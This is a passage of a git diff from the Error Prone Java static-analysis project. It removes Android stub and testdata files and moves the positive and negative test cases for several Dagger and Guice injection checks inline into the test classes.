android.app.Activity; -import android.app.Fragment; -import android.app.Service; - -/** - * Stub class for {@code dagger.android.AndroidInjection}. ErrorProne isn't an Android project and - * can't depend on an {@code .aar} in Maven, so this is provided as a stub for testing. - */ -public final class AndroidInjection { - public static void inject(Activity activity) {} - - public static void inject(Fragment fragment) {} - - public static void inject(Service service) {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/AndroidInjectionBeforeSuperNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/AndroidInjectionBeforeSuperNegativeCases.java deleted file mode 100644 index b20171a3365..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/AndroidInjectionBeforeSuperNegativeCases.java +++ /dev/null @@ -1,95 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.dagger.testdata; - -import android.app.Activity; -import android.app.Fragment; -import android.app.Service; -import android.content.Intent; -import android.os.Bundle; -import android.os.IBinder; -import dagger.android.AndroidInjection; - -final class AndroidInjectionBeforeSuperNegativeCases { - public class CorrectOrder extends Activity { - @Override - public void onCreate(Bundle savedInstanceState) { - AndroidInjection.inject(this); - super.onCreate(savedInstanceState); - } - } - - public class StatementsInBetween extends Activity { - @Override - public void onCreate(Bundle savedInstanceState) { - AndroidInjection.inject(this); - System.out.println("hello, world"); - super.onCreate(savedInstanceState); - } - } - - public static class BaseActivity extends Activity {} - - public class ExtendsBase extends BaseActivity { - @Override - public void onCreate(Bundle savedInstanceState) { - AndroidInjection.inject(this); - super.onCreate(savedInstanceState); - } - } - - public static class Foo { - public void onCreate(Bundle bundle) {} - } - - public class FooActivity extends Activity { - @Override - public void onCreate(Bundle savedInstanceState) { - new Foo().onCreate(savedInstanceState); - AndroidInjection.inject(this); - super.onCreate(savedInstanceState); - } - } - - public abstract class ActivityWithAbstractOnCreate extends Activity { - @Override - public void onCreate(Bundle savedInstanceState) {} - - public abstract void onCreate(Bundle savedInstanceState, boolean bar); - } - - public class CorrectOrderFragment extends Fragment { - @Override - public void onAttach(Activity activity) { - AndroidInjection.inject(this); - super.onAttach(activity); - } - } - - public class CorrectOrderService extends Service { - @Override - public void onCreate() { - AndroidInjection.inject(this); - super.onCreate(); - } - - @Override - public IBinder onBind(Intent intent) { - return null; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/AndroidInjectionBeforeSuperPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/AndroidInjectionBeforeSuperPositiveCases.java deleted file mode 100644 index 81c7dbc4f1b..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/AndroidInjectionBeforeSuperPositiveCases.java +++ /dev/null @@ -1,90 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.dagger.testdata; - -import android.app.Activity; -import android.app.Fragment; -import android.app.Service; -import android.content.Context; -import android.content.Intent; -import android.os.Bundle; -import android.os.IBinder; -import dagger.android.AndroidInjection; - -final class AndroidInjectionBeforeSuperPositiveCases { - public class WrongOrder extends Activity { - @Override - public void onCreate(Bundle savedInstanceState) { - super.onCreate(savedInstanceState); - // BUG: Diagnostic contains: AndroidInjectionBeforeSuper - AndroidInjection.inject(this); - } - } - - public class StatementsInBetween extends Activity { - @Override - public void onCreate(Bundle savedInstanceState) { - super.onCreate(savedInstanceState); - System.out.println("hello, world"); - // BUG: Diagnostic contains: AndroidInjectionBeforeSuper - AndroidInjection.inject(this); - } - } - - public static class BaseActivity extends Activity {} - - public class ExtendsBase extends BaseActivity { - @Override - public void onCreate(Bundle savedInstanceState) { - super.onCreate(savedInstanceState); - // BUG: Diagnostic contains: AndroidInjectionBeforeSuper - AndroidInjection.inject(this); - } - } - - public class WrongOrderFragmentPreApi23 extends Fragment { - @Override - public void onAttach(Activity activity) { - super.onAttach(activity); - // BUG: Diagnostic contains: AndroidInjectionBeforeSuper - AndroidInjection.inject(this); - } - } - - public class WrongOrderFragment extends Fragment { - @Override - public void onAttach(Context context) { - super.onAttach(context); - // BUG: Diagnostic contains: AndroidInjectionBeforeSuper - AndroidInjection.inject(this); - } - } - - public class WrongOrderService extends Service { - @Override - public void onCreate() { - super.onCreate(); - // BUG: Diagnostic contains: AndroidInjectionBeforeSuper - AndroidInjection.inject(this); - } - - @Override - public IBinder onBind(Intent intent) { - return null; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/app/Activity.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/app/Activity.java deleted file mode 100644 index 2e2309f132c..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/app/Activity.java +++ /dev/null @@ -1,21 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package android.app; - -public class Activity { - public void onCreate(android.os.Bundle bundle) {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/app/Fragment.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/app/Fragment.java deleted file mode 100644 index a94640bc3bc..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/app/Fragment.java +++ /dev/null @@ -1,22 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package android.app; - -public class Fragment { - public void onAttach(android.app.Activity activity) {} - - public void onAttach(android.content.Context context) {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/app/Service.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/app/Service.java deleted file mode 100644 index 68910f82273..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/app/Service.java +++ /dev/null @@ -1,25 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package android.app; - -public class Service { - public void onCreate() {} - - public android.os.IBinder onBind(android.content.Intent intent) { - return null; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/content/Context.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/content/Context.java deleted file mode 100644 index 3f75fd92af4..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/content/Context.java +++ /dev/null @@ -1,19 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package android.content; - -public class Context {} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/content/Intent.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/content/Intent.java deleted file mode 100644 index ba7d2de5053..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/content/Intent.java +++ /dev/null @@ -1,19 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package android.content; - -public class Intent {} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/os/Bundle.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/os/Bundle.java deleted file mode 100644 index f185bcbef41..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/os/Bundle.java +++ /dev/null @@ -1,19 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package android.os; - -public class Bundle {} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/os/IBinder.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/os/IBinder.java deleted file mode 100644 index 4e329f9ec85..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/dagger/testdata/stubs/android/os/IBinder.java +++ /dev/null @@ -1,19 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package android.os; - -public interface IBinder {} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/AssistedInjectScopingTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/AssistedInjectScopingTest.java index 18e2badb5a7..3082e263b79 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/AssistedInjectScopingTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/AssistedInjectScopingTest.java @@ -32,11 +32,177 @@ public class AssistedInjectScopingTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/AssistedInjectScopingPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "AssistedInjectScopingPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.inject.guice.testdata; + + import com.google.inject.Inject; + import com.google.inject.Singleton; + import com.google.inject.assistedinject.Assisted; + import com.google.inject.assistedinject.AssistedInject; + import com.google.inject.servlet.RequestScoped; + + /** + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class AssistedInjectScopingPositiveCases { + + // BUG: Diagnostic contains: remove this line + @Singleton + public class TestClass { + @Inject + public TestClass(String unassisted, @Assisted String assisted) {} + } + + // BUG: Diagnostic contains: remove this line + @RequestScoped + public class TestClass2 { + @Inject + public TestClass2(String unassisted, @Assisted String assisted) {} + } + + // BUG: Diagnostic contains: remove this line + @Singleton + public class TestClass3 { + @AssistedInject + public TestClass3(String param) {} + } + + /** Multiple constructors, but only one with @Inject, and that one matches. */ + // BUG: Diagnostic contains: remove this line + @Singleton + public class TestClass4 { + @Inject + public TestClass4(String unassisted, @Assisted String assisted) {} + + public TestClass4(String unassisted, int i) {} + + public TestClass4(int i, String unassisted) {} + } + + /** Multiple constructors, none with @Inject, one matches. */ + // BUG: Diagnostic contains: remove this line + @Singleton + public class TestClass5 { + public TestClass5(String unassisted1, String unassisted2) {} + + public TestClass5(String unassisted, int i) {} + + @AssistedInject + public TestClass5(int i, String unassisted) {} + } + + /** JSR330 annotations. */ + // BUG: Diagnostic contains: remove this line + @javax.inject.Singleton + public class TestClass6 { + @javax.inject.Inject + public TestClass6(String unassisted, @Assisted String assisted) {} + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/AssistedInjectScopingNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "AssistedInjectScopingNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.inject.guice.testdata; + +import com.google.inject.Inject; +import com.google.inject.Singleton; +import com.google.inject.assistedinject.Assisted; +import com.google.inject.assistedinject.AssistedInject; + +/** + * @author eaftan@google.com (Eddie Aftandilian) + */ +public class AssistedInjectScopingNegativeCases { + + /** Class is not assisted and has no scoping annotation. */ + public class TestClass1 { + public TestClass1(String unassisted1, String unassisted2) {} + } + + /** Class is not assisted and has no scoping annotation, but has an unrelated annotation. */ + @SuppressWarnings("foo") + public class TestClass2 { + public TestClass2(String unassisted, @Assisted String assisted) {} + } + + /** Class is not assisted but has scoping annotation. */ + @Singleton + public class TestClass3 { + public TestClass3(String unassisted1, String unassisted2) {} + } + + /** Class is assisted via @Assisted param but has no scoping annotation. */ + public class TestClass4 { + @Inject + public TestClass4(@Assisted String assisted) {} + } + + /** Class is assisted via @AssistedInject constructor but has no scoping annotation. */ + public class TestClass5 { + @AssistedInject + public TestClass5(String unassisted) {} + } + + /** Class is not assisted -- constructor with @Assisted param does not have @Inject. */ + @Singleton + public class TestClass6 { + public TestClass6(@Assisted String assisted) {} + } + + /** Multiple constructors but not assisted. */ + @Singleton + public class TestClass7 { + public TestClass7(String unassisted1, String unassisted2) {} + + public TestClass7(String unassisted, int i) {} + + public TestClass7(int i, String unassisted) {} + } + + /** Multiple constructors, one with @Inject, non-@Inject ones match. */ + @Singleton + public class TestClass8 { + @Inject + public TestClass8(String unassisted1, String unassisted2) {} + + @AssistedInject + public TestClass8(String param, int i) {} + + @AssistedInject + public TestClass8(int i, String param) {} + } + + /** Multiple constructors, one with @Inject, non-@Inject ones match. */ + @Singleton + public class TestClass9 { + @Inject + public TestClass9(String unassisted1, String unassisted2) {} + + @AssistedInject + public TestClass9(String param, int i) {} + + @AssistedInject + public TestClass9(int i, String param) {} + } + + @Singleton + public class TestClass10 { + public TestClass10(@Assisted String assisted, String unassisted) {} + + public TestClass10(@Assisted String assisted, int i) {} + + public TestClass10(int i, @Assisted String assisted) {} + } +}""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/AssistedParametersTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/AssistedParametersTest.java index f2b8ba66586..25b40b11503 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/AssistedParametersTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/AssistedParametersTest.java @@ -32,11 +32,131 @@ public class AssistedParametersTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/AssistedParametersPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "AssistedParametersPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.inject.guice.testdata; + +import com.google.inject.assistedinject.Assisted; +import java.util.List; +import javax.inject.Inject; + +/** + * @author sgoldfeder@google.com(Steven Goldfeder) + */ +public class AssistedParametersPositiveCases { + + /** Class has constructor with two @Assisted parameters of the same type. */ + public class TestClass1 { + @Inject + // BUG: Diagnostic contains: java.lang.String: x, y + public TestClass1(int n, @Assisted String x, @Assisted String y, int z) {} + + @Inject + // BUG: Diagnostic contains: java.lang.String, @Assisted("baz"): x, z + public TestClass1( + @Assisted("foo") int a, + @Assisted("foo") int b, + @Assisted("baz") String x, + @Assisted("baz") String z) {} + } + + /** Class has constructor with two @Assisted parameters of the same type and same value. */ + public class TestClass2 { + @Inject + // BUG: Diagnostic contains: int, @Assisted("foo"): x, y + public TestClass2(int n, @Assisted("foo") int x, @Assisted("foo") int y, String z) {} + } + + /** Class has constructor with two @Assisted parameters of the same parameterized type. */ + public class TestClass3 { + private static final String FOO = "foo"; + + @Inject + // BUG: Diagnostic contains: java.util.List, @Assisted("foo"): x, y + public TestClass3( + int n, @Assisted("foo") List x, @Assisted(FOO) List y, String z) {} + + @Inject + // BUG: Diagnostic contains: int, @Assisted("bar"): x, y + public TestClass3( + @Assisted() int n, @Assisted("bar") int x, @Assisted("bar") int y, String z) {} + } + + class GenericClass { + @Inject + // BUG: Diagnostic contains: T: a, b + GenericClass(@Assisted T a, @Assisted T b) {} + + @Inject + // BUG: Diagnostic contains: int: a, b + GenericClass(@Assisted Integer a, @Assisted int b) {} + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/AssistedParametersNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "AssistedParametersNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.inject.guice.testdata; + +import com.google.inject.assistedinject.Assisted; +import java.util.List; +import javax.inject.Inject; + +/** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ +public class AssistedParametersNegativeCases { + + /** Class has constructor with two @Assisted parameters of different types. */ + public class TestClass1 { + @Inject + public TestClass1(@Assisted int x, @Assisted String y, long z) {} + } + + /** + * Class has constructor with two @Assisted parameters, but the @Assisted annotations have + * different values. + */ + public class TestClass2 { + @Inject + public TestClass2(@Assisted("foo") int x, @Assisted("bar") int y, String z) {} + } + + /** + * Class has constructor with one @Assisted parameter with no value specified and another + * parameter of the same type. + */ + public class TestClass3 { + @Inject + public TestClass3(@Assisted int x, int y, String z) {} + } + + /** + * Class has constructor with one @Assisted parameters with a value specified and another + * parameter of the same type. + */ + public class TestClass4 { + @Inject + public TestClass4(@Assisted("foo") int x, int y, String z) {} + } + + /** + * Class has constructor with two @Assisted parameters with the same value and generic type and + * different type parameters. + */ + public class TestClass5 { + @Inject + public TestClass5( + @Assisted("foo") List x, @Assisted("foo") List y, String z) {} + } +}""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/BindingToUnqualifiedCommonTypeTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/BindingToUnqualifiedCommonTypeTest.java index dcda76c3a2b..6563b1a7613 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/BindingToUnqualifiedCommonTypeTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/BindingToUnqualifiedCommonTypeTest.java @@ -32,14 +32,145 @@ public class BindingToUnqualifiedCommonTypeTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/BindingToUnqualifiedCommonTypePositiveCases.java") + .addSourceLines( + "BindingToUnqualifiedCommonTypePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.inject.guice.testdata; + + import com.google.inject.AbstractModule; + import com.google.inject.Provides; + + /** Tests for {@code BindingToUnqualifiedCommonType} */ + public class BindingToUnqualifiedCommonTypePositiveCases { + + /** Regular module */ + class Module1 extends AbstractModule { + @Override + protected void configure() { + // BUG: Diagnostic contains: BindingToUnqualifiedCommonType + bind(Integer.class).toInstance(2); + + // BUG: Diagnostic contains: BindingToUnqualifiedCommonType + bind(String.class).toInstance("Hello"); + + // BUG: Diagnostic contains: BindingToUnqualifiedCommonType + bind(Double.class).toProvider(() -> 42.0); + + // BUG: Diagnostic contains: BindingToUnqualifiedCommonType + binder().bind(Long.class).toInstance(42L); + } + + @Provides + // BUG: Diagnostic contains: BindingToUnqualifiedCommonType + int providesFoo() { + return 42; + } + + @Provides + // BUG: Diagnostic contains: BindingToUnqualifiedCommonType + Integer provideBoxedFoo() { + return 42; + } + + @Provides + // BUG: Diagnostic contains: BindingToUnqualifiedCommonType + String providesGreeting() { + return "hi"; + } + } + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/BindingToUnqualifiedCommonTypeNegativeCases.java") + .addSourceLines( + "BindingToUnqualifiedCommonTypeNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.inject.guice.testdata; + +import com.google.common.collect.ImmutableList; +import com.google.inject.AbstractModule; +import com.google.inject.Binder; +import com.google.inject.BindingAnnotation; +import com.google.inject.Module; +import com.google.inject.Provides; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.util.List; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Tests for {@code BindingToUnqualifiedCommonType} */ +public class BindingToUnqualifiedCommonTypeNegativeCases { + + // All of the tagged instances would normally be flagged, but aren't because it's in a JUnit4 + // class + @RunWith(JUnit4.class) + static class MyTestClass { + /** Regular module */ + class Module1 extends AbstractModule { + @Override + protected void configure() { + bind(Integer.class).toInstance(2); + bind(String.class).toInstance("Hello"); + bind(Double.class).toProvider(() -> 42.0); + binder().bind(Long.class).toInstance(42L); + } + + @Provides + int providesFoo() { + return 42; + } + + @Provides + Integer provideBoxedFoo() { + return 42; + } + + @Provides + String providesGreeting() { + return "hi"; + } + } + } + + /** Regular module */ + class Module1 extends AbstractModule { + @Override + protected void configure() { + // Bindings to unannotated complex instances + bind(A.class).toInstance(new A()); + + // Binding to literals, but with a binding annotation + bind(Integer.class).annotatedWith(MyBindingAnnotation.class).toInstance(42); + } + + @Provides + List providesFoo() { + return ImmutableList.of(42); + } + } + + /** implements the Module interface directly */ + class Module2 implements Module { + @Override + public void configure(Binder binder) {} + + @Provides + @MyBindingAnnotation + int providesFoo() { + return 42; + } + } + + class A {} + + @BindingAnnotation + @Retention(RetentionPolicy.RUNTIME) + @interface MyBindingAnnotation {} +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/InjectOnFinalFieldTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/InjectOnFinalFieldTest.java index c4136128a70..444b1ebb0d4 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/InjectOnFinalFieldTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/InjectOnFinalFieldTest.java @@ -31,11 +31,70 @@ public class InjectOnFinalFieldTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/InjectOnFinalFieldPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "InjectOnFinalFieldPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.inject.guice.testdata; + + import com.google.inject.Inject; + import org.jspecify.annotations.Nullable; + + /** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ + public class InjectOnFinalFieldPositiveCases { + /** Class has a final injectable(com.google.inject.Inject) field. */ + public class TestClass1 { + // BUG: Diagnostic contains: @Inject int a + @Inject final int a = 0; + + @Inject + // BUG: Diagnostic contains: public int b + public final int b = 0; + + @Inject @Nullable + // BUG: Diagnostic contains: Object c + final Object c = null; + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/InjectOnFinalFieldNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "InjectOnFinalFieldNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.inject.guice.testdata; + + import com.google.inject.Inject; + + /** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ + public class InjectOnFinalFieldNegativeCases { + + /** Class has no final fields or @Inject annotations. */ + public class TestClass1 {} + + /** Class has a final field that is not injectable. */ + public class TestClass2 { + public final int n = 0; + } + + /** Class has an injectable(com.google.inject.Inject) field that is not final. */ + public class TestClass3 { + @Inject public int n; + } + + /** Class has an injectable(com.google.inject.Inject), final method. */ + public class TestClass4 { + @Inject + final void method() {} + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/OverridesGuiceInjectableMethodTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/OverridesGuiceInjectableMethodTest.java index 5ed2be1d8e9..340f0acaffe 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/OverridesGuiceInjectableMethodTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/OverridesGuiceInjectableMethodTest.java @@ -32,14 +32,140 @@ public class OverridesGuiceInjectableMethodTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/OverridesGuiceInjectableMethodPositiveCases.java") + .addSourceLines( + "OverridesGuiceInjectableMethodPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.inject.guice.testdata; + +/** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ +public class OverridesGuiceInjectableMethodPositiveCases { + + /** Class with a method foo() annotated with @com.google.inject.Inject. */ + public class TestClass1 { + @com.google.inject.Inject + public void foo() {} + } + + /** + * Class with a method foo() that is not annotated with @Inject, but overrides a method that is + * annotated with @com.google.inject.Inject + */ + public class TestClass2 extends TestClass1 { + // BUG: Diagnostic contains: @Inject + public void foo() {} + } + + /** + * Class with a method foo() that is not annotated with @Inject, but overrides a method that in + * turn is overrides a method that is annotated with @com.google.inject.Inject + */ + public class TestClass3 extends TestClass2 { + // BUG: Diagnostic contains: @Inject + public void foo() {} + } + + /** + * Class with a method foo() that is not annotated with @javax.inject.Inject and overrides a + * method that is annotated with @com.google.inject.Inject. This class does not contain an error, + * but it is extended in the next test class. + */ + public class TestClass4 extends TestClass1 { + @javax.inject.Inject + public void foo() {} + } + + /** + * Class with a method foo() that is not annotated with @Inject and overrides a method that is is + * annotated with @javax.inject.Inject. This super method in turn overrides a method that is + * annoatated with @com.google.inject.Inject. + */ + public class TestClass5 extends TestClass4 { + // BUG: Diagnostic contains: @Inject + public void foo() {} + } + + /** Class that extends a class with an injected method, but doesn't override it. */ + public class TestClass6 extends TestClass1 {} + + /** + * Class that extends a class with an injected method, but it was declared in a supertype that + * isn't a direct supertype. + */ + public class TestClass7 extends TestClass1 { + // BUG: Diagnostic contains: @Inject + public void foo() {} + } +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/OverridesGuiceInjectableMethodNegativeCases.java") + .addSourceLines( + "OverridesGuiceInjectableMethodNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.inject.guice.testdata; + +/** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ +public class OverridesGuiceInjectableMethodNegativeCases { + + /** Class with a method foo() annotated with @com.google.inject.Inject. */ + public class TestClass1 { + @com.google.inject.Inject + public void foo() {} + } + + /** Class with a method foo() annotated with @javax.inject.Inject. */ + public class TestClass2 { + @javax.inject.Inject + public void foo() {} + } + + /** + * Class with a method foo() annotated with @javax.inject.Inject that overrides a method annotated + * with @com.google.inject.Inject. + */ + public class TestClass3 extends TestClass1 { + @javax.inject.Inject + public void foo() {} + } + + /** + * Class with a method foo() annotated with @com.google.inject.Inject that overrides a method + * annotated with @javax.inject.Inject. + */ + public class TestClass4 extends TestClass2 { + @com.google.inject.Inject + public void foo() {} + } + + /** + * Class with a method foo() annotated with @javax.inject.Inject that overrides a method annotated + * with @com.google.inject.Inject + */ + public class TestClass5 extends TestClass1 { + @javax.inject.Inject + public void foo() {} + } + + /** + * Class with a method foo() that is not annotated with @Inject, but overrides a method that is + * annotated with @com.google.inject.Inject. Warning is suppressed. + */ + public class TestClass6 extends TestClass1 { + @SuppressWarnings("OverridesGuiceInjectableMethod") + @Override + public void foo() {} + } + + /** Class that extends a class with an injected method, but doesn't override it. */ + public class TestClass7 extends TestClass1 {} +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/OverridesJavaxInjectableMethodTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/OverridesJavaxInjectableMethodTest.java index f7e21cfdb92..0962f498cd2 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/OverridesJavaxInjectableMethodTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/OverridesJavaxInjectableMethodTest.java @@ -32,14 +32,115 @@ public class OverridesJavaxInjectableMethodTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/OverridesJavaxInjectableMethodPositiveCases.java") + .addSourceLines( + "OverridesJavaxInjectableMethodPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.inject.guice.testdata; + +/** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ +public class 